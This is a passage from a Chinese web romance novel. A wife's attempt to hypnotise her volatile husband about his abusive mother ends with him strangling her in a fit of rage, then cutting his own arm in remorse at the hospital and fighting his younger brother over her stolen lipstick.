还没等她反应过来,整个人就被许生拉进了怀里。 许生低下头,咬上了她的锁骨。 他蠕动的唇瓣传达了七个字: 【姐姐,我要带走你。】 菘蓝微微身体一僵,她想要推开许生,却发现根本推不动。 就在这时,她突然听到楼下传来一阵脚步声。 脚步的声音清晰均匀,优哉游哉。 菘蓝心口一跳,是沈错的脚步声。 他要上来了。 “你.....你快放开我,你哥要上来了!” 菘蓝急了,她轻轻拍打许生的额头,想让他赶紧放开自己。 结果许生不仅不放手,还抱着她抵在墙上继续啃咬。 她白皙的锁骨红了一片。 “你疯了!快放开我!” 菘蓝怎么也没想到,平常在她面前温柔乖巧的许生,突然像变了个人一样。 变得强硬、蛮横、霸道。 楼下的脚步声越来越清晰,越来越近。 菘蓝一颗心快跳出了嗓子眼。 救命!这要是让沈错发现,她连怎么死的都不知道! “你.....你快放开我,你哥要上来了,你快找地方躲起来.....” 菘蓝又急又怕,但是又不敢大声吼叫,只能压着嗓子小声呵斥。 半分钟的功夫,沈错就上了楼。 他环视了一圈,没看到菘蓝的人影,拧了拧眉,走到换衣间门口喊道: “老婆,你还没有换好衣服吗?” 他一边喊一边推开了换衣间的门。 第五十八章 被堵门 门被推开了一个口子。 菘蓝的心顿时凉了半截。 “砰!” 砰得一声,门后的许生沉着眉眼,抬手一撑,快速把门推了回去。 他的手用力摁在门上,手背青筋暴起。 关门的声音很响,似乎带着一丝怒意。 门外的沈错愣了一下。 他以为自己又惹菘蓝不开心了。 他在门口站立,解释道: “额,老婆我没别的意思,没想偷看什么的,我看你没在屋里,只是想找找你。” 门后。 被许生抵在墙上的菘蓝缓了口气,她用嗔怒的声音道: “你不要进来,我换衣服呢!” 感觉她像防贼一样,沈错有些不开心,他冲着门嘟囔了一声: “干嘛啊,这么紧张我,我又不会对你做什么。 再说了,你全身上下,我哪没看过,有什么好防着我的~” 换衣间里。 哑巴少年听闻,脸色瞬间一沉,左手紧紧箍着菘蓝的腰,漆黑的眼眸翻涌着怒意。 他手劲很大,菘蓝被勒的有点疼,心里很是恼火。 这狗男人嘴巴能不能干净点。 他什么时候看过她全身了。 菘蓝红着脸,隔着门怒骂:“你什么时候看过?你是不是偷看我洗澡了?” 天大的帽子扣下来,沈错连忙解释: “老婆,没有没有,我就顺嘴一说,我开玩笑的。” 沈错这个人,就是嘴巴欠欠的,有点蔫儿坏。 其实他也就是嘴上占点便宜。 他还是挺尊重菘蓝的。 男女之间的事,她不愿意太过界,他也不会越雷池一步。 平常亲亲抱抱的时候,只要她不愿意,他也不会再强求。 门内,箍在菘蓝腰间的手放轻了力道。 许生像一只被顺了毛的小狗,乖顺了很多。 菘蓝轻轻拍了拍他的手,示意他放开自己。 许生很听话地松了手,眼底抱着歉意地比划道: 【对不起,弄疼姐姐了,我不是故意。】 菘蓝揉了揉腰窝,隔着门对外面喊了一声: “好了,不闹了,老公,我饿了,你去楼下给我拿点吃的上来,多拿点。” 这一声老公直接给沈错哄成了翘嘴。 他应了一声,双手插兜,又优哉游哉地下了楼。 听到下楼的脚步声,菘蓝靠着门松了口气。 她刚刚差点以为要被堵门捉奸了。 “趁你哥下楼了,你快走。” 菘蓝压着嗓子,推了推许生。 小哑巴像堵铁门一样站着,一动不动。 他有些气鼓鼓地比划着手势: 【姐姐,他碰你,我气。】 菘蓝眸光闪了闪:“逢场作戏而已。” 许生喉结微动,他凝望着菘蓝,鸦羽般的睫毛颤动了两下,用手比划道: 【姐姐,以前,跟我,你也在演戏吗。】 小哑巴睁着无辜的眼睛,睫毛湿漉漉的,比划手势的动作很急。 回忆瞬间被拉长,菘蓝透过许生澄澈的双眼,看到了云都纯净、悠远、湛蓝的天空。 在云都,跟许生相处的那段日子。 应该是她人生中最放松的时刻。 如果没有后来那些事,她真想一辈子那样过下去...... 思绪回拢,菘蓝缓缓抬眸,看着许生眼睛语气认真道: “你跟他,是不一样的。” 听到这话,少年的眼里仿佛有烟花盛开,熠熠生光。 他开心地笑了,笑得天真无邪。 “好了,你快走吧,别让人看见.....” 菘蓝指了指换衣间的窗户。 那窗户旁边有颗榕树,顺着树下去就是果园。 许生往窗户走了两步,突然又折返回来。 菘蓝不解地看着他:“你怎么又回来了。” 就在这时。 楼下又响起了脚步声。 菘蓝心一惊,连忙推着许生往窗户旁边走。 许生转过身,有些不好意思地觑着菘蓝,指了指鼓鼓囊囊的裤兜。 他比划道: 【姐姐,这些,送我,能不能。】 菘蓝知道他说的是那一堆小东西。 他之前偷藏她的唇膏、口红、发绳什么的。 楼下的脚步声越来越近,菘蓝来不及多想,便答应道: “好好好,都送你了,送你了。” 不过是些小东西,她也没想要找回来。 许生嘿嘿一笑,脸上露出了灿烂的笑容。 偷姐姐的,跟姐姐送的,可是两码事。 许生心满意足地离开了。 换衣间终于恢复了平静。 菘蓝绷紧的心弦彻底放松,她拉上窗帘,脱下衣服,换了一身柔软的浴袍。 她看着镜子中的自己,幽幽叹了口气。 可算应付完了,等会她要好好泡个澡,松快松快。 听说菘蓝饿了,沈错在楼下拿了一堆吃的。 他上楼的时候,菘蓝已经换下衣服,去洗澡了。 浴室传来的淅淅沥沥的水声,引得人无限遐想。 沈错仰躺在沙发上,指尖轻轻敲击扶手,凝望着天花板。 过了一会,菘蓝裹着浴巾出来了,她的皮肤被水气熏得粉嫩,身上还冒着热气。 沈错看到她出来,忍不住瞥了一眼。 随后,他目光骤然一顿,“你锁骨怎么了?” 菘蓝眼皮一跳,抬手覆住锁骨上的吻痕,神色镇定道:“哦,没什么,刚刚搓澡的时候太用力了,搓破了点皮。” 沈错:“疼不疼?” 菘蓝:“不疼。” 沈错:“那你过来我亲亲,亲一亲就疼了。” 菘蓝:“不要!流氓!” 沈错好像一天不挨骂,浑身就不舒服,被骂两句,他老实多了。 不想再跟沈错纠缠,菘蓝往上拽了拽浴巾,转身走向卧室。 “你走那么快干嘛?诶,别走,我有个八卦你听不听?” 眼看刚出浴的美人要溜走,沈错连忙挽留。 沈错平时倒是很少说八卦,菘蓝停下来,侧眸看向他,有些好奇道: “什么八卦?” 沈错翘着二郎腿,笑得很没品:“呵呵,是白楚年那个装货的八卦哦。” 菘蓝眨了眨眼睛。 白楚年能有什么八卦?还从港城传到了千里之外的海都? 菘蓝用毛巾擦了擦头发,坐到对面的沙发上,“说说看,怎么个事?” 沈错:“我听说啊,白楚年回家去挖坟了。” 菘蓝愣怔了一下:“挖坟?挖谁的坟?” 沈错:“他老婆的。” 菘蓝:“!” 第五十九章 马甲要捂不住了 “结果啊,他老婆的坟是个空坟,你说这事有没有意思。 朋友圈有人发了视频,白楚年找李家算账去了,港城接下来有热闹看咯~” 沈错拖着长长的腔调,像看乐子的吃瓜群众一样,绘声绘色给菘蓝地讲白楚年的八卦。 他和白楚年两人从小就不对付,现在吃到对方的瓜,老开心了。 这个瓜,菘蓝吃得一点都不开心。 吃瓜吃到了自己身上,谁还能开心得起来? 她攥着毛巾的指尖蜷了蜷,垂着眼眸,轻咬了一下唇瓣。 她必须赶紧调查清沈夫人的事情,在白楚年杀回海都之前离开这里。 沈家,她不能再留了。 菘蓝偷偷瞥了沈错一眼。 男人靠在沙发上,一只手耷拉在沙发外侧,另一手拿着手机。 他双眸盯着屏幕,浏览着朋友圈,漂亮英气的瑞凤眼闪烁着幸灾乐祸的笑意。 知母莫过子,沈夫人的事情,沈错肯定比任何人都清楚。 只是沈园有规定,任何人都不能在沈错面前提起沈夫人。 菘蓝眸光闪了闪,看向放着催眠怀表的衣服口袋。 时间紧迫,她只能兵行险招了。 浴巾上的热气快要散没的时候,菘蓝回卧室换了一身粉白色的真丝睡袍。 丝绸的光泽像流动的水,穿在身上柔软舒适,冰冰凉凉。 她从抽屉里拿出一瓶特制香水,往手腕、耳后、脖颈和睡袍上喷了几下。 带有安神香味的雾气渗入肌肤,她犹豫了几秒,将睡袍里面的蕾丝吊带往下拽了拽,露出一道深邃迷人的曲线。 紧接着,她点燃了一支夜交藤味道的香薰。 夜交藤,香气微凉带苦,有极强的扩散性,它能像神经镇静剂一样,快速降低神经的兴奋度,让人进入睡眠状态。 她的催眠技法,对于精力旺盛,心性坚定,意志力强的人很难起效。 对付沈错这样的,她必须要借助催眠道具。 之前她不敢对沈错玩这种把戏,但现在没办法了,她没时间慢慢调查了,只能兵行险招。 香薰火烛寸寸燃烧,夜交藤微凉泛苦的香味融化在空气里,极易让人联想起古旧宁静的老宅院。 准备好一切后,菘蓝轻轻推开了门。 厅堂的灯还亮着,沈错低头划拉着手机,不知道在看什么,一边看一边点头,很认真的样子。 沙发往下一陷,紧绷的皮革发出窸窣的摩擦声。 菘蓝坐在了沈错身边,她歪着脑袋好奇地看向沈错的手机: “你在看什么?” 一缕微凉甜馥的体香,带着淡淡的温热气息,飘进了沈错鼻尖。 他抬眸看了菘蓝一眼,目光就舍不得从她身上离开了。 她穿着极薄的丝绸睡袍,睡袍敞开着,里面只穿了一件白色的蕾丝吊带。 吊带极细,就像她的细腰一样,脆弱得仿佛一捏就断。 收紧的蕾丝托着她的胸,露出堆云叠雪的曼妙沟壑。 就两个字。 撩人。 沈错的注意力全在菘蓝身上,连她的问题,他都忘了回答。 菘蓝伸出手指戳了戳沈错硬邦邦的胸膛,软着声道:“喂,我问你话呢。” 她语气轻飘飘的,像羽毛一样撩拨着沈错的神经。 撩的他心里泛痒。 “老婆,有事能不能等会再问,我现在想吻你。” 沈错伸手,一把拽过菘蓝,抱着她的腰,让她跨坐在自己大腿上。 菘蓝身体下意识前倾,双手攀上了他的肩膀。 两人像交颈的天鹅,拥在了一起。 沈错清楚地嗅到了菘蓝身上的夜交藤的冷香,镇定安神的气味像冷水一样浇下,让他的躁动消退了不少。 “好闻吗?” 菘蓝朝他俏皮地眨了眨眼睛。 “嗯....好闻.....” 男人泛着慵懒的鼻音,眯着眸子问道:“是什么味道的香水?很特殊。” 菘蓝勾唇一笑:“秘密,不告诉你。” 沈错眼底闪烁着宠溺的笑意:“好吧,不说就不说吧。” 说完,他直起腰身,给菘蓝看了眼自己的手机屏幕。 “钇-190微球特效药剂订单?” 菘蓝诧异地看着沈错,瞪大了眸子。 她之前给院长爷爷订购的就是这种药,但这种药太少了,她没买到,只能去周正安那边找替代的药物。 论药效,钇-190肯定要比新研发的药剂稳定。 沈错:“替我转告徐伯伯的朋友,这种药剂他要多少有多少。 而且,我也可以免费送他,你留个地址,药明天就给他送到。” 说完,沈错捏了捏菘蓝呆住的小脸,挑着她的下巴道: “你老公比别人有用,以后有事就找我,不许去找别人。” 他话里的醋味很浓,警告意味也很浓。 菘蓝紧紧攥着手机,一时间不知道该说什么。 她想了想,在心里叹了口气。 算了,以后不叫他狗男人了。 “老婆,我想要点奖励~” 沈错抱着菘蓝撒娇,在她的肩头上蹭来蹭去,像一只讨要小鱼干的大猫。 “老婆~老婆~” 他撒娇的语气都拉出了波浪音。 菘蓝矜傲地仰起头,伸手挑起沈错的下巴,跨坐在他的大腿上:“想要奖励是吗?行吧,那你躺下。” 沈错乖乖躺下。 然后,菘蓝把他的头放在了自己膝盖上。 她的手指,轻柔地按揉着他的太阳穴,力度恰到好处,让人特别舒适放松。 昏暗的房间里,浮动着安神的暖香。 沈错感觉身体的所有肌肉都在舒缓,像是被热水泡开的茶叶,轻盈、舒展、放松。 这种奖励倒是挺独特,沈错也很享受。 菘蓝笑了笑,抬手撩了一下头发,她挂在颈后的怀表掉到了胸前,正好遮住了那道深邃迷人的沟壑。 怀表一晃一晃的,迷人的沟壑或隐或现。 沈错的目光不自觉就被吸引,随着怀表慢慢摆动。 他漆黑的眸色越来越淡,越来越淡...... 过了一会,他双眸涣散,意识抽离,整个人进入了催眠状态。 看到差不多了,菘蓝睫毛颤了颤,她趴在沈错耳边,用轻柔缥缈的声线道: “现在,我问,你答。” 第六十章 暴走 “第一个问题,你是谁?” “沈错。” “第二个问题,你有乳名吗?小时候爸爸妈妈都叫你什么?” “兜兜。” 菘蓝差点笑出声,“你小名叫什么?” “兜兜。” 沈错一本正经的回答,成功把菘蓝逗笑了。 她拼命压着嘴角。 这狗男人,小时候居然有这么可爱的名字。 要命啊,怎么感觉有点反差萌。 菘蓝低头看了一眼沈错。 沈错微睁着眼眸,眉眼柔和,表情呆呆的,深而密的睫毛微微抖动,在眼睑下方投射出一片青色阴影。 他整个人的气质有了很大的变化。 柔软、乖顺、无害。 菘蓝感觉他现在的样子,比清醒的时候讨喜多了。 “第三个问题,你小时候跟谁比较亲近。” 菘蓝问的问题都是循序渐进的。 先唤起他对童年的回忆,让他适应引导式问答,然后问出她想知道的事情。 听到这个问题。 沈错歪着脑袋想了一会,漂亮的眸子浮上一层迷茫的黑雾。 随后,他缓缓答道:“我愿意亲近的人,不愿意亲近我。” 菘蓝想了想,顺着往下问:“你小时候都愿意亲近谁?” 沈错声音奇怪地哽咽了一下: “我的....母亲......” 菘蓝蹙了蹙眉。 她只知道沈错跟沈夫人关系不好,没想到沈错是被他母亲嫌弃。 她顿了顿,继续问: “那你母亲现在在哪里。” 沈错迷茫地摇了摇头:“我.....不知道.....” 菘蓝双眸一亮,压抑着心底的激动,继续追问:“你母亲,她还活着?” 活......活着? “你就不该活着!不该活着!你为什么还活着,你为什么就是死不了!” 沈错的目光透过昏黄的灯,看到了跳跃着烛火的阴暗角落。 一个披头散发的女人,长得很漂亮面目却很狰狞的女人在疯狂咆哮。 她掐着一个小男孩的脖子,死命往水里按。 冰冷窒息的水漫过他的头顶,他拼命扑腾,稚嫩的小脸呛得通红。 他在哭,她在笑。 女人把他丢进装满水的水缸,然后压上木板,隔着木板踩着他的肚子往下按,想把他压进缸底,压成一摊烂泥。 他翻着白眼,呛了一口水,喉咙里全是血。 他的母亲,在杀他。 沈错的眼睛被回忆侵蚀,墨一样的眸子黑的可怕。 他垂着头,一动不动,森白的牙齿相互碰撞,发出咯吱咯吱的摩擦声。 再抬头,他的眼睛已经漆黑一片,什么也看不到,没有一丝光点。 整个人仿佛从地狱里爬出来的魔鬼,散发着森冷、阴郁、嗜血的气息。 菘蓝被沈错的变化吓了一跳。 “你.....你怎么了?” 她还是第一次看到被催眠的人露出这种眼神。 阴冷、可怕、让人不寒而栗。 “你,没事吧?” 菘蓝伸出手,在沈错眼前晃了晃,想看看他的意识醒没醒。 一只手在水面搅来搅去,像是在焦急地捞什么东西。 “哗啦.....” 哗啦一声,奄奄一息的小男孩被女人从水缸底部捞了出去。 “兜兜....我的兜兜你没事吧.....” 女人抱着小男孩在哭,一边哭一边抱着小男孩往外跑。 她就像换了一个人。 从杀人魔鬼变成了一个温柔慈爱的母亲。 小男孩蜷缩在女人怀里,小脑袋紧紧靠着她,想要从她那里获得一点温暖。 他嘴角淌着血,唇瓣蠕动。 气息微弱地喊着妈妈。 可是女人没跑两步,突然又变了一副嘴脸,她狠狠把怀里的小男孩摔到地上,像踩破烂一样踩了两脚。 “你怎么还活着,你怎么还没有死!你不该活着!” .......... 沈错的脑海像走马灯一样播放着各种各样的画面。 疯女人、拿着刀的男人、诡笑的假面、漫天的大火....... 痛苦、悲伤、绝望、压抑的情绪像一把电钻,将他的大脑绞成了浆糊。 他骨子里的躁意像不断加热的火山逐渐攀升到顶点,然后喷薄出一股强烈的毁灭和破坏欲。 最后,嗡得一声。 理智的高楼瞬间坍塌。 他的大脑响起一长串的忙音。 ——嗡——嗡—— 沈错什么也看不见,什么也听不见了。 他又瞎又聋,在一个黑白的世界里大喊大叫,像疯子一样摧毁一切能碰到的东西。 菘蓝惊恐地看着眼前突然发出怒吼的男人。 他的眼睛布满血丝,他一拳砸碎玻璃茶几,将椅子踹得稀烂。 整个人处于一种狂乱的暴走状态。 菘蓝有些害怕,她转身就往门外跑。 结果下一秒就被失去理智的沈错掐住了喉咙。 他的手劲极大,指骨凸起,手指像钳子一样钳着菘蓝白皙的脖颈,深深陷了进去。 他手臂上的肌肉高高隆起,掐着菘蓝脖子的掌心不断缩紧。 “咳.....咳.....” 菘蓝不能呼吸了,她白皙的小脸憋得通红,拼命拍打沈错的手臂,想让他把自己放下。 “放......放开......咳咳.....” 可惜她的力量太小了,犹如蚍蜉撼树,沈错的手臂纹丝不动。 时间一分一秒过去。 她肺部的空气一点点耗尽,脑袋因为缺氧昏昏沉沉,身体提不起半点力气。 她快要窒息了,像一条被困在干泥快要渴死中的鱼。 张着嘴,只能苟延残喘。 脖子上的力道越来越重,菘蓝的气息也越来越微弱。 她眼前发黑,泛着水雾的眸光开始涣散,眼神一点点暗下去,最终变得黯淡无光。 她用尽最后一丝力气,从嗓子里挤出微弱的两个字: “救.....命......” 可惜,她的声音太微弱,喊不来人,也唤不醒失去理智的沈错。 强烈的窒息感让她大脑一片空白。 意识一点点涣散,她的眼睛起了一层雾,世界越来越模糊,最后变成一个会发光的小点。 她不再挣扎,手臂软软垂落到身侧。 她像一朵凋零的白色山茶花一样,掉到了冰冷的地板上。 彻底没了呼吸。 第六十一章 她失声了 “啪......” 啪得一声脆响,菘蓝的怀表也跟着磕到地上,表壳摔成了两半。 分针和秒针不动了,富有韵律的节拍戛然而止。 停滞的时间开始流动,沈错鸦羽般的睫毛颤了颤,混沌的视线逐渐变得清晰。 看到菘蓝倒在地上,他瞳孔一震,心脏骤然缩紧。 “蓝儿!” 菘蓝一动不动,她的脸颊没有任何血色,像落了一层雪霜。 她的脖颈上有一大片触目惊心的掐痕,淤血红到泛紫。 她静静地闭着眼睛,眼睫毛湿漉漉的,她像是睡着了一样,可是胸膛没有一丝起伏。 沈错身形颤了颤,不可置信地看了看自己的手。 他的手背上撒满了她的泪痕。 意识到自己做了什么后,他的心瞬间被撕成了无数道口子,痛到无法呼吸。 “蓝儿.....蓝儿......” 沈错的耳膜嗡嗡作响,他失声扑到菘蓝身边,颤抖着抱住她冰凉的身体。 她的身体好冷,冷得像块冰,一点温度都没有。 沈错全身都在抖。 他抱着菘蓝跪在地上,骨骼和肌肉像散落的零件一样相互碰撞,发出隐隐作响的悲鸣。 他把脸贴在她的额头上,一遍遍道: “不.....你不能死.....不能.....” ——滴呜——滴呜—— 急救车呼啸着驶进沈园,然后又急匆匆地奔向医院,留下一串刺耳的警铃。 ........... 医院。 “病人的心脏虽然停止了跳动,但她的视网膜血管还有血液流动。 根据情况来看,应该是由扼颈导致的窒息性假死。 也就是说,病人看似死亡但实际上仍处于存活的状态,只是生命体征极低,需要立即进行抢救。” 医生的话,落在沈错耳朵里,宛如天籁,他紧绷的神经瞬间松弛。 在嗡嗡作响的耳鸣声中,他终于找到了自己的声音,他哑着嗓子道: “一定要救活她,不惜任何代价。” 抢救室的门关上,亮起了灯。 沈错站在冰冷的走廊里,低头看着自己发颤的手。 他知道自己的手劲有多大,也知道自己失控的时候是什么样子。 他不敢想象他扼住她脖颈的时候,她有多害怕,多无力,多痛苦。 她那么娇弱,怎么受得了啊...... 沈错一拳砸在墙上,走廊的灯晃了晃,他的骨节渗出血丝,可是他一点也感觉不到痛。 他的心早就已经痛到麻木了。 他啊,伤害了他这辈子最想守护的人。 他今后都无法原谅自己。 沈错背靠着墙,颀长的身影笼罩在阴影里,像坠入了漆黑的深海。 徐念青听到菘蓝出事的消息,率先赶到了医院,他一把扯住沈错的衣领,冲着他大吼: “你这个混账东西!你都对蓝儿做了什么!你竟然对她动手,你还是人吗!” 他像一位真正的父亲一样,为自己的女儿讨公道。 菘蓝虽然不是他的女儿,但跟他女儿一样大,而且名字里都有蓝字。 她代替徐幼蓝嫁给沈错这个疯子,他一直是心存感激的。 现在菘蓝真的出了事,他的心里也很过意不去。 “舅舅.....” 沈错看着满脸愤怒的徐念青,张了张着嘴,从酸涩的喉咙里挤出一声呼唤。 徐念青听到这声舅舅,像吃了苍蝇一样,厌恶道: “你别这样叫我,你不配,你叫我什么你都不配!” 徐念青嫌弃的眼神,让沈错苦笑了两下,他掰开徐念青的手,淡淡道: “好的,徐伯伯。” 徐念青更来气了,指着他的鼻子骂道: “你别叫我伯伯,你也别喊我,你能从我眼前消失吗?从这个世界上消失都行!” 走廊里回荡着徐念青愤怒的低吼。 沈错静静看着他,眼底掠过一抹哀伤。 片刻后,他掀了掀眼皮,滚刀肉一样往走廊的椅子上一坐: “不行,我还不能消失,我要等我老婆的消息。” 沈错看了眼急救室,抿唇不语。 事实上,如果没有她,他早就从这个世界上消失了。 他的母亲给了他生命,却不想让他活下去。 她,是世界上唯一一个让他活下去的人。 时间一分一秒过去,抢救室的灯终于变绿了。 菘蓝被推了出来,她静静躺在病床上,双眼紧紧闭着,走廊吹起一阵凉风,她不自觉地往被单里缩了缩。 沈错瞳孔颤了颤,心头漫过一阵狂喜。 医生摘下口罩,走向沈错,汇报道: “沈少,少夫人已经没事了,只是还需要静养几天。” 这家医院是沈家出资建造的,所有人都对沈错毕恭毕敬。 沈错点了点头,跟医生交待了几句后,便进了病房。 徐念青没有进来。 他被沈错的保镖拦住了,气得在外面破口大骂。 厚重的房门关上,屏蔽掉了一切嘈杂的声音。 沈错静静看着躺在病床上的菘蓝,心里一揪一揪的疼。 她纤细的脖子上还残留着他的手指印。 紫红紫红的。 他感觉自己的脖子好像被扼住了一样,喘不上气。 他伸出手,轻轻抚摸菘蓝的脸,满眼愧色地一遍遍说着: “对不起.....对不起......” 迷迷糊糊中。 菘蓝似乎听见有人在她耳边说什么,她睫毛颤了颤,然后缓缓睁开了眼睛。 视线汇聚,菘蓝看清了身旁的人。 是沈错! 她的瞳孔瞬间放大,身体下意识往后缩了缩。 她的记忆还停留在沈错暴走发狂的时候。 菘蓝惊恐的反应,让沈错心头泛起一阵痛意。 她,在怕他。 “你.....你别怕,我,我不会伤害你的,再也不会伤害你了。” 沈错乱了呼吸,慌忙撤回手,不敢再靠近菘蓝,生怕又吓到她。 看着沈错惊慌失措的模样,菘蓝拧了拧眉,她轻轻咽了咽口水,喉咙传来一阵火辣辣的痛意。 她不适应地张了张口,却发现喉咙只能发出嘶嘶的声音。 “嘶.....嗬.....” 菘蓝嘶嘶了两声后,再也发不出任何声音。 她捂着脖子愣愣地看着沈错。 她,失声了? 第六十二章 你怎么罚我都行 医生很快赶来。 经过细致的检查,医生道: “没事的,夫人颈和项的骨头因为受到外伤,导致有些紊乱。 缓一缓,敷完药后,调整一下骨结构就能说话了。” 现在菘蓝的脖颈轻轻一碰就痛,立马调节骨结构得痛死。 沈错听闻,悬着的心终于放回了肚子里。 医生走后,病房又安静了下来。 菘蓝不适地蹙着眉,整张小脸因为痛苦疼到泛白。 看到她这幅模样,沈错心里的愧疚更深了,他心里特别乱,特别想做点什么。 他站起身,把桌子上的水果刀塞进菘蓝手里。 菘蓝握着刀子,愣了愣,不可思议地看着沈错。 不是,她都这么惨了。 他还要她给他削苹果? 还是人吗? 在菘蓝不可置信的眼神中,沈错伸出右手,垂着眉眼道: “你砍我几刀吧,这样我好受些,这刀挺锋利,挥刀见血。” 菘蓝呆呆地看着沈错,以为他在胡言乱语,可是细细观察后,她发现他好像是认真的。 沈错:“你怎么罚我都行,砍死我也行。” 菘蓝:“........” 其实,今天发生这种事,她也怪不得沈错。 她忘记了,沈错精神有问题,催眠术是不能对精神病患者使用的。 催眠精神病患者,可能会加重患者的病情,引发认知混乱。 就像上次,周正安安排医生催眠她一样。 不过她跟沈错的情况大有不同。 菘蓝目光闪了闪,把刀子丢到一边,比划了一句手语: 【我疼,没心思陪你闹。】 沈错沉默了半晌,弯腰捡起地上的刀子,简短道:“那我替你罚。” 说完,他用刀挑起袖子,对着右手狠狠一划。 锋利的刀刃没入手臂,血红的皮肉卷着刃往两边分开,划出一道见骨的口子。 滴答滴答..... 鲜血顺着手臂往下滴落,砸在地上溅起无数朵血花。 菘蓝看呆了,小嘴微微张着。 这人.....不会是有自虐倾向吧? 【你别这样好吗,怪吓人的。】 菘蓝急急比划着手势,阻止沈错继续自残。 天啊,她这是招惹了个什么人啊。 一言不合就打打杀杀,动刀子见血的。 看到菘蓝一脸惊吓的表情,沈错连忙将流血的手藏在身后,语气中带着一丝歉意道: “对不起......我又吓到你了。” 他的语气很真,不是开玩笑,也不是阴阳怪气。 而是真正的,发自内心的自责和抱歉。 菘蓝的心被触动了一下,她别开脸,不再去看沈错,比划道: 【我接受你的道歉了,你快去包扎,顺便让人把地上的血迹清理一下。】 看着她比划的手势,沈错紧紧抿着嘴角,说不出话来。 他把她伤成了那个样子,她却没怪过他。 他没敢奢望她真的原谅他,因为他自己都不会原谅自己。 沈错去包扎伤口了,他前脚刚走,病房的门就被人推开了。 许生来了。 他站在病床前,看着菘蓝被掐红的脖颈,心疼的眼睛都红了,他急急比划着手势: 【姐姐,他打你,我找他麻烦。】 他的姐姐啊,他碰都舍不得碰,居然被人伤成这个样子。 许生转身就要去找沈错,菘蓝急忙打手势: 【他是你哥,我是你嫂子,你替我出头,太奇怪了,会被他看出问题。】 她是真害怕许生去找沈错麻烦。 在沈错的视角里,她跟许生只见过一面,之间应该是没什么感情。 许生要是为了她跟沈错闹掰,那傻子都能看出里面有问题。 许生松开攥紧的掌心,指了指自己,然后伸出左手拇指,右手拇指直立,绕着左手转动了半圈,往下一沉: 【姐姐,不怕他,我保护你。】 少年的背脊挺得笔直,像一柄出鞘的利剑,随时都能为心爱的人冲锋陷阵。 看着许生瞪着圆润的狗狗眼,一本正经的比划着手势,菘蓝突然笑了。 【你好可爱。】 她眉眼弯弯,咧着唇角,笑得明媚阳光,充满了生命力。 刚包扎好手臂返回病房的沈错,正好看到了这一幕。 他脚步一顿,眸光微黯,心头涌起一阵酸涩感。 她,好像从来没有冲自己这样笑过。 笑得这么明媚,笑得这么烂漫。 许生往后看了一眼,看到沈错右手缠着绷带站在原地。 他昂起头,像狼崽子一样,用冰冷戒备的眼神盯着沈错。 感受到敌对的目光,沈错微微皱了皱眉。 许生从小到大一直都很听他话,把他当大哥哥一样敬爱,从没有像这样,用这种敌对的眼神看着他。 【你走,姐姐,不见你。】 许生比划着手势,冷冷地看着沈错。 沈错下意识往病房里看了一眼,结果许生上前一步,挡住了他的目光。 【你走,走,姐姐,不见。】 他不让沈错见菘蓝。 沈错眯了眯眼,眸底掠过一丝冷意,纠正道:“你不能叫她姐姐,你得叫她嫂子。” 许生抬眼看着天花板,假装听不见。 他虽然喊他姐姐,但她跟他订了婚的,是他的老婆。 他肯定不会喊他嫂子的。 沈错脸色冷了下来,低沉的声音中透着一丝不悦:“让开,我要进去。” 许生双手撑开,拦在门口,一动不动。 沈错被搞得有点恼火,推开许生准备硬闯,结果许生反手架起胳膊挡了回去。 空气中一时间火花四溅。 兄弟俩在门口杠上了。 沈错的耐心和温柔都给了菘蓝,对于不听话的弟弟,他一贯只奉行一个原则。 不听话,那就揍一顿。 没什么是一顿毒打解决不了的。 如果一顿毒打没用,那就两顿。 沈错的身手很好,连许生的贴身保镖都打不过他。 许生还没反应过来,就被沈错放倒了。 还是单手放倒的。 他另一手还受着伤。 被压在地上的许生,双手被反剪着,他不甘地挣扎了两下,结果挣扎的动作太大,上衣的口袋里滚落出一样东西。 那是一个造型精致的口红,壳子上刻着一朵玫瑰花。 看到那只口红,沈错的眸子微微眯起..... 第六十三章 敢惦记你嫂子啊? 许生挣扎着伸出手,捡起掉落的口红,很宝贝地攥在手心里。 看到他的动作,沈错狭长的瑞凤眼危险地挑起,从齿缝中冷硬地挤出三个字: “拿过来。” 许生没有搭理他,身体后缩了缩,抬起手肘做出防御的姿势,澄澈的双眸写满敌意。 许生才十九岁,比沈错小了三岁,他像一头刚学会龇牙的狼崽子,迫不及待地挑衅兄长的权威。 “哟,这些年能耐了,还学会龇牙了?” 沈错掀起眼皮,眼底掠过一抹讥笑。 他没有想到,小时候那个躲在自己身后的小哭包,居然有一天会像狼崽子一样,朝他露出獠牙。 许生因为是聋哑人,小时候经常被其他孩子排挤,但只要有沈错在,就没人敢欺负他。 因为没人敢惹一个杀人还不用偿命的疯子。 许生低垂着头,没有理会沈错,他把口红塞进裤兜,挣扎着想要起身。 这是姐姐给他的东西,他要好好保管。 看到许生的动作,沈错眸光一凛,单手拽着他的臂膀,一个侧摔将他撂倒在地。 他突然间爆发,动作快如闪电。 许生还没明白自己是怎么倒下的,就被沈错跪压住了。 背上像是压了一座大山,闷得他喘不过气。 他咬着牙,单手撑在地上,屈起手肘猛地往后背砸去。 沈错眯了眯眼,闪身抬脚踩着他的手肘,狠狠往下一压。 咯噔一声,许生疼得额头直冒虚汗。 沈错居高临下地看着许生,冷冷开口:“老实待着。” 说完,他伸手摸进许生的口袋,掏出了那支口红。 口红已经用了半管,豆沙色的膏体上残留着唇纹,隐隐散发着一股玫瑰香。 沈错闻了闻。 这个味道他很熟悉。 他记得跨年那天晚上,他老婆涂得就是这个香味的口红,而且那只口红后来不见了。 那天,许生也在场。 口红被抢走,许生眼底闪过一抹怒意,他拼命挣扎,想把东西夺回来。 但沈错根本不给他机会,死死跪压在他的背上,一只手摁住他的脖颈。 全方位的压制他。 沈错眯起眸子,拿着口红拍了拍许生的脸,冷冷道: “说,口红哪来的?” 口红这种东西,很私密。 一个男人偷偷藏一个女人的口红,心里想的什么,昭然若揭。 许生被死死压在地上,凌乱的黑发遮住了眼眸,他不甘地咬着唇角,一动不动。 走廊里安静极了,甚至能听见风的气流声。 沈错的脸冷了下去,他伸手拍了拍许生的脑袋: “诶,说话.....” 许生别过脸,背对着沈错,转头看向斑驳的墙根。 沈错挑了挑眉,强硬地把他的脸掰回来,逼着他看着自己。 许生嘴角绷得紧紧的。 沈错满眼漠然地看着他,冷笑了两声: “哦,对不起,我忘了,你不会说话。” 他一直在等许生解释,哪怕是一个手势,一个眼神,一个摇头的动作。 但是他没有。 他根本没有想解释的意思,他看他的眼神更像一个被抢了玩具的小孩,满心怨恨。 有意思。 他拿走他老婆的东西,算抢? 许生什么都没说,但他又什么都说了。 都是男人,懂得都懂。 “很好,你很敢想嘛.....” 